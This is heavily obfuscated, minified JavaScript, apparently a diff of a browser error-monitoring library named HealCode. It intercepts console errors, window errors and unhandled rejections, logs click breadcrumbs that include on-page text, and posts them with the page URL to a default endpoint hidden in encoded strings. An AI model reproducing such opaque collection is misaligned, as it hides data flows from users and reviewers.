_0x4ac62c==_0x2b0778;},'rNQtc':_0x4a181c(0x167),'QASKS':_0x4a181c(0x125),'RgQwz':function(_0x3eae5c,_0x56b159){return _0x3eae5c(_0x56b159);},'ygRJT':function(_0x1aaee1,_0x5b9270){return _0x1aaee1!==_0x5b9270;},'uwuBL':function(_0x214907,_0x112ee6,_0x1c7e29,_0x5e8dfe){return _0x214907(_0x112ee6,_0x1c7e29,_0x5e8dfe);},'ZCMRp':function(_0x6f0fe,_0x2c00d0,_0x3f6442){return _0x6f0fe(_0x2c00d0,_0x3f6442);},'kYVVX':function(_0x33e40,_0x5c1d40){return _0x33e40!==_0x5c1d40;},'pvUEl':function(_0x20e351,_0x269a54){return _0x20e351===_0x269a54;},'qWQQp':_0x4a181c(0x166)};let _0x585b0b=_0x4dc455;for(;_0x58bf5f[_0x4a181c(0x124)](_0x585b0b,d[_0x4a181c(0x148)](_0x585b0b));){if(_0x58bf5f['pvUEl'](_0x4a181c(0x103),_0x58bf5f[_0x4a181c(0x145)])){if(_0x3fd5b5&&_0x58bf5f[_0x4a181c(0x129)](typeof _0x3814e2,_0x58bf5f[_0x4a181c(0x134)])||_0x58bf5f[_0x4a181c(0x129)](typeof _0xec89cc,_0x58bf5f[_0x4a181c(0xdc)])){for(let _0x3b5f52 of _0x58bf5f[_0x4a181c(0x109)](_0x5a696e,_0x356061))!_0x117186['call'](_0x158022,_0x3b5f52)&&_0x58bf5f[_0x4a181c(0xed)](_0x3b5f52,_0x420aec)&&_0x58bf5f[_0x4a181c(0x118)](_0x284f17,_0x28683d,_0x3b5f52,{'get':()=>_0x781b3d[_0x3b5f52],'enumerable':!(_0x56c67e=_0x58bf5f[_0x4a181c(0x171)](_0x15a326,_0xd04a86,_0x3b5f52))||_0x278b99[_0x4a181c(0x146)]});}return _0x553dcd;}else{let _0x2049d8=d['join'](_0x585b0b,k);if(a[_0x4a181c(0x16a)](_0x2049d8))return _0x2049d8;_0x585b0b=d[_0x4a181c(0x148)](_0x585b0b);}}return null;}function p(_0x1d1d16){const _0x19e0b6=a0_0x5a3a5c,_0x3c21d2={'lXaWy':function(_0x1e55ed){return _0x1e55ed();},'tCWUb':_0x19e0b6(0x12e)};let _0x2749fe=_0x1d1d16||_0x3c21d2[_0x19e0b6(0x12a)](S);if(!_0x2749fe||!a[_0x19e0b6(0x16a)](_0x2749fe))return null;try{let _0x34b15e=a[_0x19e0b6(0x111)](_0x2749fe,'utf-8');return JSON['parse'](_0x34b15e);}catch(_0x4559a0){return console[_0x19e0b6(0xe8)](_0x3c21d2[_0x19e0b6(0x123)],_0x4559a0),null;}}function h(_0x2bcc1e){const _0xeb8563=a0_0x5a3a5c,_0x2643a7={'IFajV':function(_0x59edca,_0x2d96b7){return _0x59edca(_0x2d96b7);},'qaIrv':'[HealCode]\x20No\x20config\x20file\x20found.\x20Run\x20`npx\x20healcode\x20init`\x20to\x20set\x20up.'};let _0x2ff312=_0x2643a7[_0xeb8563(0x168)](p,_0x2bcc1e);if(!_0x2ff312)return console[_0xeb8563(0xde)](_0x2643a7[_0xeb8563(0xfa)]),null;let _0x3daec5={'token':_0x2ff312[_0xeb8563(0x15b)],'endpoint':_0x2ff312[_0xeb8563(0x164)],'enabled':_0x2ff312[_0xeb8563(0x113)],'captureConsoleErrors':_0x2ff312[_0xeb8563(0x15f)]?.[_0xeb8563(0x154)],'captureUnhandledRejections':_0x2ff312[_0xeb8563(0x15f)]?.[_0xeb8563(0xeb)],'maxBreadcrumbs':_0x2ff312[_0xeb8563(0x15f)]?.['maxBreadcrumbs']};return new s(_0x3daec5);}0x0&&(module[a0_0x5a3a5c(0x149)]={'HealCode':HealCode,'initFromConfig':initFromConfig,'loadConfig':loadConfig});function a0_0x3c52(){const _0x51f53a=['y2fWDhvYzunVBNnVBgvfCNjVCNm','sgj1zxm','C3rHy2S','q29UBMvJDgLVBIbSB3n0','wvHuugW','zw5KC1DPDgG','ntKZmZGXnMzLEvfPBa','Dg9Rzw4','DgfYz2v0','mJCWohLyq29XDW','BwfW','B3b0Aw9UCW','q0fjBvu','ywrKrxzLBNrmAxn0zw5LCG','C2v0rw5HyMXLza','Ae5OEe8','zw5KCg9PBNq','u1b1rui','rxvjBKq','B2jQzwn0','suzHALy','q2XTt1O','zxHPC3rZu3LUyW','w0HLywXdB2rLxsbozxr3B3jRigvYCM9YoG','zLHcuvu','Aw5PDgLHBgL6zwq','Aw50zxjJzxb0vw5Oyw5KBgvKuMvQzwn0Aw9UCW','B25mAw5L','B3fcBNm','wKnnuNa','DgfNtMfTzq','Aw5UzxjuzxH0','mJm0ode0mMLdEKn0yW','z2v0uhjVDg90ExbLt2y','Dg9tDhjPBMC','uufts1m','AM9PBG','D2fYBG','w0HLywXdB2rLxsbfCNjVCIbYzxbVCNrLzcbZDwnJzxnZzNvSBhK','uu9vCNu','yK1Vzu8','tMfYAum','q2XPy2TLzcbVBIa','y3DK','y2HHCKnVzgvbDa','B251BMHHBMrSzwrYzwPLy3rPB24','y2fSBa','zxjYB3i','y09qwNy','uMPWCeO','y2fWDhvYzvvUAgfUzgXLzfjLAMvJDgLVBNm','tuXtBxC','EwDssLq','C2v0Dxbozxr3B3jRtgLZDgvUzxjZ','vw5RBM93BIbLCNjVCG','AhjLzG','t21ntKC','vffVz1a','yNjLywrJCNvTyNm','zgvSzxrL','CMvWBgfJzq','l2fWAs9SB2DZ','C2vUDeHHC2HLCW','z2vUzxjHDgviyxnO','Bwf4qNjLywrJCNvTyNm','CwfjCNy','Dg9ju09tDhjPBMC','AgvHBgnVzguUy29UzMLNlMPZB24','DwKUy2XPy2S','DgvOCfe','yMvMB3jLu2vUza','z2v0t3DUuhjVCgvYDhLezxnJCMLWDg9Y','Aw50zxjJzxb0q29UC29Szq','mJbys1rHBe8','wK9LDeK','BMv0D29YAW','wMPcu0O','ywrKqNjLywrJCNvTyG','u2HeDeK','z3jTAue','uMDrD3O','qxjoAuq','rLf0wwO','ue9tva','C3rYAw5NAwz5','CenSEKu','C2HPzNq','y29UzMLN','CMvHzezPBgvtEw5J','mZyXmdu1n3Dmr3LvsW','zw5HyMXLza','BgLwBgC','l2fWAs9SB2DZlW','AgfZ','C2v0DxbjBNrLCMfJDgLVBKXPC3rLBMvYCW','DxD1qKW','tgXfwg8','re15qNa','D2TXqvm','CeTPDfm','ugPwAxG','zuHlDue','Aw5PDa','Bg9N','AgfZt3DUuhjVCgvYDhK','whjnuNC','Denxvwi','A1LwvLG','zNvUy3rPB24','mLfcu3fdAq','BwrbzhO','DuT3DgO','t0PXDeS','BfHHv3K','CMvHC29U','ChjVDg90ExbL','DxnLCKfNzw50','w0HLywXdB2rLxsbgywLSzwqGDg8GBg9HzcbJB25MAwC6','Aw50zxjJzxb0v2LUzg93rxjYB3jZ','AM10u0W','z2v0t3DUuhjVCgvYDhLoyw1LCW','BgvUz3rO','B2zMBgLUzq','CK5rDgm','EurqzwC','DKTNy2e','tLnVsLy','AxnfBMfIBgvK','Ahr0Chm6lY9WCMvWywLKlxrYAwjHBc1PBNzPDgvKlwvUzY50CNLJBg91zgzSyxjLlMnVBq','y3jLyxrL','x19LC01VzhvSzq','EgvTu2O','yu5yEvi','Bfjlq3y','mJK2nuz2vMXgsa','q2zOBKy','ChvZAa','C3vIC3rYAw5N','tNHzuM4','mtm5mZmYme5tDKjWuW','CvDruxa','zw51BwvYywjSzq','yxbWBgLJyxrPB24VANnVBG','zgLYBMfTzq','zxHWB3j0CW','q3DAAM4','B25SAw5L','nte5mJy4A29pEuLs','igf0ia','DLPQuei','Cgf0Aa','mti3ndqYvNr2tLvu','y1zcwuO','y2fWDhvYzq','BfjHEwC'];a0_0x3c52=function(){return _0x51f53a;};return a0_0x3c52();}
1
+ 'use strict';function a0_0x4804(){const _0x18566b=['z2v0uhjVDg90ExbLt2y','ndKWmdDMzK9ZwKC','q2XPy2TLzcbVBIa','DgDOzxu','zgT4z3y','ywrKrxzLBNrmAxn0zw5LCG','odu3mJaXmefyzfnWDq','AhjLzG','zxHPC3rZu3LUyW','wevsv1q','A2Lvrw0','yxbWBhK','zxHWB3j0CW','ntGYAfncruz5','zw5KC1DPDgG','BwfW','DxnLCKfNzw50','uunJCey','DgzQtMS','CwHbwhu','B2fREfe','yxbWBgLJyxrPB24VANnVBG','DvHiC1y','C2HPzNq','s2L2s3e','B2jQzwn0','zhHos2y','mZqXmZm0mffTD05UAG','AM9PBG','CMrHEMO','CMvHzezPBgvtEw5J','zw5HyMXLza','Ahr0Chm6lY9WCMvWywLKlxrYAwjHBc1PBNzPDgvKlwvUzY50CNLJBg91zgzSyxjLlMnVBq','Dg9Rzw4','DgfYz2v0','y2XPy2S','yKnnqwm','y29UzMLN','y2fWDhvYzunVBNnVBgvfCNjVCNm','Aw50zxjJzxb0vw5Oyw5KBgvKuMvQzwn0Aw9UCW','w0HLywXdB2rLxsbfCNjVCIbYzxbVCNrLzcbZDwnJzxnZzNvSBhK','B25mAw5L','l2fWAs9SB2DZlW','Aw5PDa','AfjWDMK','BMvtuLi','C3rHDhvZ','ywrKqNjLywrJCNvTyG','mJmXmZy4nJr4BfnkAKm','rgXNtxe','BgvUz3rO','sLD1uwS','Dg9ju09tDhjPBMC','C2vUza','DgfNtMfTzq','ChjVDg90ExbL','x19LC01VzhvSzq','zw1kwNG','ug9VrfC','AgfZ','yMvMB3jLu2vUza','Aw50zxjJzxb0q29UC29Szq','ue9tva','zw55Dg0','B2zMBgLUzq','C3vIC3rYAw5N','y2fWDhvYzvvUAgfUzgXLzfjLAMvJDgLVBNm','ALv4vNe','zxrkrwO','Aw5PDgLHBgL6zwq','zKjrrvu','y2fWDhvYzq','zuDWBee','B25LCNjVCG','CKvdtw0','zLvNBgy','C2v0Dxbozxr3B3jRtgLZDgvUzxjZ','y2XHC3noyw1L','Bg9JyxrPB24','ChvZAa','vfDIvfK','C2v0rw5HyMXLza','CMvWBgfJzq','mZyYodqWn0LvyxfLzW','AgvHBgnVzguUy29UzMLNlMPZB24','y3DK','v2vSs0q','yNjLywrJCNvTyNm','zNvUy3rPB24','C3rHy2S','w0HLywXdB2rLxsbgywLSzwqGDg8GCMvWB3j0igvYCM9YoG','qLfLDwq','w0HLywXdB2rLxsboBYbJB25MAwCGzMLSzsbMB3vUzc4GuNvUigbUChGGAgvHBgnVzguGAw5PDgaGDg8GC2v0ihvWlG','B25SAw5L','CMP6C1i','z2vUzxjHDgviyxnO','y1njz3K','D2fYBG','zw51BwvYywjSzq','q29UBMvJDgLVBIbSB3n0','CMvHC29U','s1rLshm','AgfZt3DUuhjVCgvYDhK','Ce5YzuS','ywrK','w0HLywXdB2rLxsbgywLSzwqGDg8GBg9HzcbJB25MAwC6','C2v0DxbjBNrLCMfJDgLVBKXPC3rLBMvYCW','zgvMyxvSDa','zgvSzxrL','mZqYodiWnLLezNzSDW','Aw50zxjJzxb0v2LUzg93rxjYB3jZ','DfPdseK','zxjYB3i','AMP5v0W','zgvMAw5LuhjVCgvYDhK','wwjktKC','vw5Oyw5KBgvKifjLAMvJDgLVBJOG','zgLYBMfTzq','B3b0Aw9UCW','CM9utfu','B251BMHHBMrSzwrYzwPLy3rPB24','mta3nJu2m3HkDhDLwG','C3rYAw5N','t2HmyLq','q05Rzfa','BMv0D29YAW','AxnfBMfIBgvK','w0HLywXdB2rLxsbjBML0AwfSAxPLzcbZDwnJzxnZzNvSBhK','C3rYAw5NAwz5','Bg9N','sLvAywe','Cgf0Aa','zw5KCg9PBNq','C2vUDeHHC2HLCW','DwKUy2XPy2S','CvvsyMu','l2fWAs9SB2DZ','vw5RBM93BIbLCNjVCG','zLbUAvK','igf0ia','Bwf4qNjLywrJCNvTyNm'];a0_0x4804=function(){return _0x18566b;};return a0_0x4804();}const a0_0x4ee699=a0_0x520a;(function(_0x3ba65f,_0x332da2){const _0x3ece7b=a0_0x520a,_0x34c5a7=_0x3ba65f();while(!![]){try{const _0x4b3de0=parseInt(_0x3ece7b(0x21d))/0x1+parseInt(_0x3ece7b(0x211))/0x2+parseInt(_0x3ece7b(0x1f7))/0x3+parseInt(_0x3ece7b(0x1bf))/0x4+-parseInt(_0x3ece7b(0x237))/0x5+-parseInt(_0x3ece7b(0x23e))/0x6*(-parseInt(_0x3ece7b(0x232))/0x7)+-parseInt(_0x3ece7b(0x1d4))/0x8;if(_0x4b3de0===_0x332da2)break;else _0x34c5a7['push'](_0x34c5a7['shift']());}catch(_0xe62c76){_0x34c5a7['push'](_0x34c5a7['shift']());}}}(a0_0x4804,0xe2169));function a0_0x520a(_0x72fe65,_0x388c69){_0x72fe65=_0x72fe65-0x1ba;const _0x4804c5=a0_0x4804();let _0x520aa4=_0x4804c5[_0x72fe65];if(a0_0x520a['MhwHds']===undefined){var _0x37eab3=function(_0x2e67a1){const _0x46eadc='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2c21b2='',_0x1212d8='';for(let _0x758565=0x0,_0x37d89c,_0x4cc608,_0x236259=0x0;_0x4cc608=_0x2e67a1['charAt'](_0x236259++);~_0x4cc608&&(_0x37d89c=_0x758565%0x4?_0x37d89c*0x40+_0x4cc608:_0x4cc608,_0x758565++%0x4)?_0x2c21b2+=String['fromCharCode'](0xff&_0x37d89c>>(-0x2*_0x758565&0x6)):0x0){_0x4cc608=_0x46eadc['indexOf'](_0x4cc608);}for(let _0x37583c=0x0,_0xf8ecc5=_0x2c21b2['length'];_0x37583c<_0xf8ecc5;_0x37583c++){_0x1212d8+='%'+('00'+_0x2c21b2['charCodeAt'](_0x37583c)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x1212d8);};a0_0x520a['eQCWKp']=_0x37eab3,a0_0x520a['OXDpbF']={},a0_0x520a['MhwHds']=!![];}const _0x493b8a=_0x4804c5[0x0],_0x2ed189=_0x72fe65+_0x493b8a,_0x1409ee=a0_0x520a['OXDpbF'][_0x2ed189];return!_0x1409ee?(_0x520aa4=a0_0x520a['eQCWKp'](_0x520aa4),a0_0x520a['OXDpbF'][_0x2ed189]=_0x520aa4):_0x520aa4=_0x1409ee,_0x520aa4;}var C=Object['create'],l=Object[a0_0x4ee699(0x216)],m=Object['getOwnPropertyDescriptor'],b=Object['getOwnPropertyNames'],w=Object[a0_0x4ee699(0x231)],H=Object[a0_0x4ee699(0x1db)][a0_0x4ee699(0x20a)],v=(_0x1e5b5a,_0x14aa45)=>{const _0x37a663=a0_0x4ee699,_0x5621a1={'dxNKf':function(_0x524721,_0xd7bc9d,_0x704018,_0x4fc95a){return _0x524721(_0xd7bc9d,_0x704018,_0x4fc95a);}};for(var _0x8e882f in _0x14aa45)_0x5621a1[_0x37a663(0x1be)](l,_0x1e5b5a,_0x8e882f,{'get':_0x14aa45[_0x8e882f],'enumerable':!0x0});},u=(_0x301c84,_0x46c4d8,_0x25a418,_0x39b907)=>{const _0x1943fb=a0_0x4ee699,_0x5a7674={'tgheu':function(_0x37c7c5,_0x129c1b){return _0x37c7c5==_0x129c1b;},'neSRR':_0x1943fb(0x1bd),'QCcpF':_0x1943fb(0x1fc),'Nbdmv':function(_0x7a6b17,_0x3613a7){return _0x7a6b17(_0x3613a7);},'jUxVq':function(_0x1943db,_0x364854){return _0x1943db!==_0x364854;},'enytm':function(_0x3129cc,_0x26cf28,_0x50bfe8,_0x4c9946){return _0x3129cc(_0x26cf28,_0x50bfe8,_0x4c9946);},'hRpvi':function(_0x955843,_0x52fc66,_0x593ed6){return _0x955843(_0x52fc66,_0x593ed6);}};if(_0x46c4d8&&_0x5a7674[_0x1943fb(0x234)](typeof _0x46c4d8,_0x5a7674[_0x1943fb(0x1d1)])||typeof _0x46c4d8==_0x5a7674[_0x1943fb(0x242)]){for(let _0x90daff of _0x5a7674['Nbdmv'](b,_0x46c4d8))!H['call'](_0x301c84,_0x90daff)&&_0x5a7674[_0x1943fb(0x1e7)](_0x90daff,_0x25a418)&&_0x5a7674[_0x1943fb(0x1e3)](l,_0x301c84,_0x90daff,{'get':()=>_0x46c4d8[_0x90daff],'enumerable':!(_0x39b907=_0x5a7674[_0x1943fb(0x1d0)](m,_0x46c4d8,_0x90daff))||_0x39b907[_0x1943fb(0x206)]});}return _0x301c84;},f=(_0x10541e,_0x15a5be,_0x283663)=>(_0x283663=_0x10541e!=null?C(w(_0x10541e)):{},u(_0x15a5be||!_0x10541e||!_0x10541e[a0_0x4ee699(0x1dc)]?l(_0x283663,a0_0x4ee699(0x20f),{'value':_0x10541e,'enumerable':!0x0}):_0x283663,_0x10541e)),y=_0x5e7d5a=>u(l({},a0_0x4ee699(0x1dc),{'value':!0x0}),_0x5e7d5a),N={};v(N,{'HealCode':()=>s,'initFromConfig':()=>h,'loadConfig':()=>p}),module[a0_0x4ee699(0x23d)]=y(N);var g=a0_0x4ee699(0x1c4),E=g+a0_0x4ee699(0x1ce),x=0x14,s=class{constructor(_0x4566d6){const _0x4c7743=a0_0x4ee699,_0x5473f0={'DlgMq':function(_0x5b18d9,_0x191da5){return _0x5b18d9!==_0x191da5;},'eGplA':function(_0x33ad23,_0x31d155){return _0x33ad23!==_0x31d155;},'cSIgy':function(_0xe07c0d,_0x4b870c){return _0xe07c0d<_0x4b870c;}};this[_0x4c7743(0x1fb)]=[],this[_0x4c7743(0x229)]=new Set(),this[_0x4c7743(0x1e9)]=!0x1,(this[_0x4c7743(0x1c9)]={'token':_0x4566d6[_0x4c7743(0x1c5)],'endpoint':_0x4566d6[_0x4c7743(0x228)]||E,'enabled':_0x5473f0[_0x4c7743(0x1d5)](_0x4566d6[_0x4c7743(0x1c3)],!0x1),'captureConsoleErrors':_0x5473f0['eGplA'](_0x4566d6[_0x4c7743(0x1ca)],!0x1),'captureUnhandledRejections':_0x5473f0[_0x4c7743(0x1ec)](_0x4566d6[_0x4c7743(0x1e6)],!0x1),'maxBreadcrumbs':_0x4566d6[_0x4c7743(0x230)]||x,'beforeSend':_0x4566d6[_0x4c7743(0x1e0)]},this[_0x4c7743(0x1c9)]['enabled']&&_0x5473f0[_0x4c7743(0x204)](typeof window,'u')&&this[_0x4c7743(0x1cf)]());}[a0_0x4ee699(0x1cf)](){const _0xe5e17f=a0_0x4ee699;this['initialized']||(this[_0xe5e17f(0x1e9)]=!0x0,this[_0xe5e17f(0x1f0)](),this['setupInteractionListeners'](),this[_0xe5e17f(0x1c9)]['captureConsoleErrors']&&this['interceptConsole'](),this[_0xe5e17f(0x212)](),this[_0xe5e17f(0x1c9)][_0xe5e17f(0x1e6)]&&this[_0xe5e17f(0x1cb)](),console[_0xe5e17f(0x225)](_0xe5e17f(0x223)));}['setupNetworkListeners'](){const _0x494760=a0_0x4ee699,_0x1a6636={'tZCHI':_0x494760(0x201),'jjyWL':_0x494760(0x1e4)};window['addEventListener'](_0x1a6636[_0x494760(0x213)],()=>this['addBreadcrumb'](_0x494760(0x221),'Connection\x20restored',{'status':_0x494760(0x201)})),window[_0x494760(0x236)](_0x1a6636[_0x494760(0x215)],()=>this['addBreadcrumb'](_0x494760(0x221),_0x494760(0x207),{'status':'offline'}));}[a0_0x4ee699(0x20e)](){const _0x3b464e=a0_0x4ee699,_0x4f6c05={'nqftw':_0x3b464e(0x22a),'BAyAj':_0x3b464e(0x1c7)};document[_0x3b464e(0x236)](_0x4f6c05['BAyAj'],_0x395a45=>{const _0xdc264f=_0x3b464e;let _0x3668e8=_0x395a45[_0xdc264f(0x1c6)];this[_0xdc264f(0x1d3)](_0x4f6c05['nqftw'],_0xdc264f(0x233)+_0x3668e8[_0xdc264f(0x1da)],{'id':_0x3668e8['id']||void 0x0,'className':_0x3668e8[_0xdc264f(0x1f1)]||void 0x0,'text':_0x3668e8['innerText']?.[_0xdc264f(0x1e5)](0x0,0x32)||void 0x0});},!0x0);}[a0_0x4ee699(0x1e1)](){const _0x4b25ab=a0_0x4ee699;let _0x2d7516=console[_0x4b25ab(0x214)];console['error']=(..._0x2425b5)=>{const _0x1e54cf=_0x4b25ab;let _0x6aa0c4=_0x2425b5[_0x1e54cf(0x240)](_0x3f990a=>typeof _0x3f990a==_0x1e54cf(0x1bd)?JSON[_0x1e54cf(0x224)](_0x3f990a):String(_0x3f990a))['join']('\x20');this[_0x1e54cf(0x1eb)]('error',_0x6aa0c4),_0x2d7516['apply'](console,_0x2425b5);};}[a0_0x4ee699(0x212)](){const _0x30c4cb=a0_0x4ee699,_0x559b32={'rdazj':function(_0x3e021d,_0x49a607){return _0x3e021d!==_0x49a607;},'KivKq':_0x30c4cb(0x21b),'tfjNk':_0x30c4cb(0x1c8),'RzlKh':_0x30c4cb(0x21e),'BQeud':_0x30c4cb(0x214)};window[_0x30c4cb(0x1ed)]=(_0x45d43f,_0x13ec14,_0x558165,_0x35008e,_0x5eea3e)=>{const _0x56b7cd=_0x30c4cb;if(_0x559b32[_0x56b7cd(0x1c1)](_0x559b32[_0x56b7cd(0x1bc)],_0x559b32[_0x56b7cd(0x243)])){let _0x27920f=typeof _0x45d43f==_0x559b32['RzlKh']?_0x45d43f:_0x56b7cd(0x22d);this[_0x56b7cd(0x1eb)](_0x559b32[_0x56b7cd(0x1ff)],_0x27920f+_0x56b7cd(0x22f)+_0x13ec14+':'+_0x558165+':'+_0x35008e,_0x5eea3e?.[_0x56b7cd(0x1fd)]);}else{let _0x27bf17=_0x16f1d7['error'];_0x22e4a5[_0x56b7cd(0x214)]=(..._0x27db7f)=>{const _0x22fc4f=_0x56b7cd;let _0x5bc693=_0x27db7f['map'](_0x35bfbb=>typeof _0x35bfbb==_0x22fc4f(0x1bd)?_0x3e16df[_0x22fc4f(0x224)](_0x35bfbb):_0xf0755(_0x35bfbb))['join']('\x20');this['capture'](_0x22fc4f(0x214),_0x5bc693),_0x27bf17[_0x22fc4f(0x23c)](_0xd4c676,_0x27db7f);};}};}[a0_0x4ee699(0x1cb)](){const _0x115c69=a0_0x4ee699,_0x54829d={'pNreK':'error'};window[_0x115c69(0x21c)]=_0x7c44e7=>{const _0x3efccb=_0x115c69;this['capture'](_0x54829d[_0x3efccb(0x20b)],_0x3efccb(0x218)+_0x7c44e7['reason']);};}[a0_0x4ee699(0x1d3)](_0x2ed255,_0x2791b8,_0x39e6d3){const _0x35ad70=a0_0x4ee699,_0x1656e9={'oakxQ':function(_0x9b9dd3,_0x6b2ed7){return _0x9b9dd3>_0x6b2ed7;}};let _0x368487={'type':_0x2ed255,'message':_0x2791b8,'timestamp':new Date()[_0x35ad70(0x1d8)](),'data':_0x39e6d3};this['breadcrumbs'][_0x35ad70(0x1f3)](_0x368487),_0x1656e9[_0x35ad70(0x245)](this[_0x35ad70(0x1fb)]['length'],this[_0x35ad70(0x1c9)]['maxBreadcrumbs'])&&this[_0x35ad70(0x1fb)][_0x35ad70(0x1bb)]();}['capture'](_0x5bfcbd,_0x41fed9,_0x1898ac){const _0x5422b2=a0_0x4ee699,_0x593e19={'XERWT':function(_0x91319b,_0x2b9f99,_0x3e9c62){return _0x91319b(_0x2b9f99,_0x3e9c62);},'kiUEm':function(_0x47d606,_0x59551f){return _0x47d606*_0x59551f;},'emJZx':_0x5422b2(0x201),'fPniY':_0x5422b2(0x1e4)};if(!this['config']['enabled'])return;let _0x3cfacd=this[_0x5422b2(0x203)](_0x41fed9,_0x1898ac);if(this[_0x5422b2(0x229)][_0x5422b2(0x1df)](_0x3cfacd))return;this[_0x5422b2(0x229)][_0x5422b2(0x20c)](_0x3cfacd),_0x593e19[_0x5422b2(0x23a)](setTimeout,()=>this[_0x5422b2(0x229)][_0x5422b2(0x210)](_0x3cfacd),_0x593e19[_0x5422b2(0x23b)](0x12c,0x3e8));let _0x40bc30={'token':this[_0x5422b2(0x1c9)][_0x5422b2(0x1c5)],'message':_0x41fed9,'stacktrace':_0x1898ac,'url':window[_0x5422b2(0x1f2)][_0x5422b2(0x238)],'level':_0x5bfcbd,'userAgent':navigator[_0x5422b2(0x241)],'networkStatus':navigator[_0x5422b2(0x1cd)]?_0x593e19[_0x5422b2(0x1dd)]:_0x593e19[_0x5422b2(0x22e)],'breadcrumbs':[...this[_0x5422b2(0x1fb)]],'timestamp':new Date()[_0x5422b2(0x1d8)]()};this['config']['beforeSend']&&(_0x40bc30=this[_0x5422b2(0x1c9)][_0x5422b2(0x1e0)](_0x40bc30),!_0x40bc30)||this[_0x5422b2(0x1d9)](_0x40bc30);}[a0_0x4ee699(0x203)](_0x52fc40,_0x4aefa7){const _0xe96ef3=a0_0x4ee699,_0x5d52dd={'JUZaa':function(_0x2107bf,_0x421dc3){return _0x2107bf+_0x421dc3;},'rECMm':function(_0x5d3f0f,_0x3204e0){return _0x5d3f0f<_0x3204e0;},'WelKD':function(_0x4423ac,_0x8e695f){return _0x4423ac+_0x8e695f;},'BkViD':function(_0x200034,_0x15b4d6){return _0x200034-_0x15b4d6;},'OhLbT':function(_0x1bd567,_0x2caee1){return _0x1bd567<<_0x2caee1;}};let _0x2f65a9=_0x5d52dd[_0xe96ef3(0x226)](_0x52fc40,_0x4aefa7||''),_0x2fb53a=0x0;for(let _0x176062=0x0;_0x5d52dd[_0xe96ef3(0x1ee)](_0x176062,_0x2f65a9[_0xe96ef3(0x1d6)]);_0x176062++){let _0x2a2eaf=_0x2f65a9['charCodeAt'](_0x176062);_0x2fb53a=_0x5d52dd[_0xe96ef3(0x1fa)](_0x5d52dd['BkViD'](_0x5d52dd[_0xe96ef3(0x21f)](_0x2fb53a,0x5),_0x2fb53a),_0x2a2eaf),_0x2fb53a=_0x2fb53a&_0x2fb53a;}return _0x2fb53a['toString']();}async[a0_0x4ee699(0x1d9)](_0x16d7e5){const _0x53b34c=a0_0x4ee699,_0x18b385={'rjzsR':'error','TWbTY':'/api/logs/','PooDW':_0x53b34c(0x22c),'JWuQk':function(_0x217fbf,_0x94f6c8){return _0x217fbf+_0x94f6c8;},'rUZCi':function(_0x20e570,_0x48ac51,_0x51e4e8){return _0x20e570(_0x48ac51,_0x51e4e8);},'qhAXu':_0x53b34c(0x1e2),'KTeHs':_0x53b34c(0x246),'KcBBD':_0x53b34c(0x1fe),'rvWuW':function(_0x5ce50c,_0x55c6f1){return _0x5ce50c!==_0x55c6f1;},'etJEj':'YbJNG','nHNqo':'[HealCode]\x20Network\x20error:'};try{let _0x16fc9d=this[_0x53b34c(0x1c9)]['endpoint'];!_0x16fc9d[_0x53b34c(0x23f)](_0x18b385[_0x53b34c(0x1f4)])&&!_0x16fc9d[_0x53b34c(0x23f)](_0x18b385[_0x53b34c(0x1de)])&&(_0x16fc9d=_0x18b385[_0x53b34c(0x1d7)](_0x16fc9d[_0x53b34c(0x1f6)](/\/$/,''),_0x18b385[_0x53b34c(0x1f4)]));let _0xf26246=await _0x18b385['rUZCi'](fetch,_0x16fc9d,{'method':_0x18b385[_0x53b34c(0x244)],'headers':{'Content-Type':_0x18b385[_0x53b34c(0x209)],'X-HealCode-Token':this[_0x53b34c(0x1c9)]['token']},'body':JSON[_0x53b34c(0x224)](_0x16d7e5),'keepalive':!0x0});_0xf26246['ok']?console[_0x53b34c(0x225)](_0x53b34c(0x1cc)):console[_0x53b34c(0x205)](_0x18b385['KcBBD'],_0xf26246[_0x53b34c(0x1d2)]);}catch(_0x56db3b){_0x18b385['rvWuW'](_0x18b385[_0x53b34c(0x1e8)],_0x53b34c(0x217))?this[_0x53b34c(0x1eb)](_0x18b385[_0x53b34c(0x202)],_0x53b34c(0x218)+_0x5a1b23[_0x53b34c(0x208)]):console[_0x53b34c(0x205)](_0x18b385['nHNqo'],_0x56db3b);}}[a0_0x4ee699(0x1f5)](_0x389426){const _0x35fb04=a0_0x4ee699;this[_0x35fb04(0x1c9)][_0x35fb04(0x1c3)]=_0x389426;}[a0_0x4ee699(0x222)](){const _0x2b566f=a0_0x4ee699;return this[_0x2b566f(0x1c9)][_0x2b566f(0x1c3)];}},a=f(require('fs')),d=f(require(a0_0x4ee699(0x227))),k=a0_0x4ee699(0x1f8);function S(_0x423c0c=process[a0_0x4ee699(0x1f9)]()){const _0x4d3e3e=a0_0x4ee699;let _0x150822=_0x423c0c;for(;_0x150822!==d[_0x4d3e3e(0x219)](_0x150822);){let _0x47468f=d[_0x4d3e3e(0x1c0)](_0x150822,k);if(a[_0x4d3e3e(0x239)](_0x47468f))return _0x47468f;_0x150822=d[_0x4d3e3e(0x219)](_0x150822);}return null;}function p(_0x39352c){const _0x423e17=a0_0x4ee699,_0xc77d5f={'fBQEU':_0x423e17(0x214),'dkxgv':function(_0x42f3ae){return _0x42f3ae();},'APsBu':function(_0xed522b,_0x124665){return _0xed522b!==_0x124665;},'CNkdP':_0x423e17(0x22b)};let _0x3dff86=_0x39352c||_0xc77d5f[_0x423e17(0x235)](S);if(!_0x3dff86||!a[_0x423e17(0x239)](_0x3dff86))return null;try{if(_0xc77d5f['APsBu'](_0xc77d5f['CNkdP'],_0xc77d5f[_0x423e17(0x220)])){let _0x290068=_0x1452ac[_0x423e17(0x240)](_0x40c4d5=>typeof _0x40c4d5==_0x423e17(0x1bd)?_0x5c1b71[_0x423e17(0x224)](_0x40c4d5):_0xc32fc4(_0x40c4d5))[_0x423e17(0x1c0)]('\x20');this['capture'](_0xc77d5f[_0x423e17(0x1ea)],_0x290068),_0x7d3109['apply'](_0x5ba420,_0xcd99c3);}else{let _0x1229b0=a[_0x423e17(0x1c2)](_0x3dff86,'utf-8');return JSON['parse'](_0x1229b0);}}catch(_0x4c5fc0){return console[_0x423e17(0x214)](_0x423e17(0x20d),_0x4c5fc0),null;}}function h(_0x5d82aa){const _0x2aaf8d=a0_0x4ee699,_0x5d7565={'fUglf':function(_0x37a88c,_0x1ee4d4){return _0x37a88c(_0x1ee4d4);},'uXHsV':_0x2aaf8d(0x200)};let 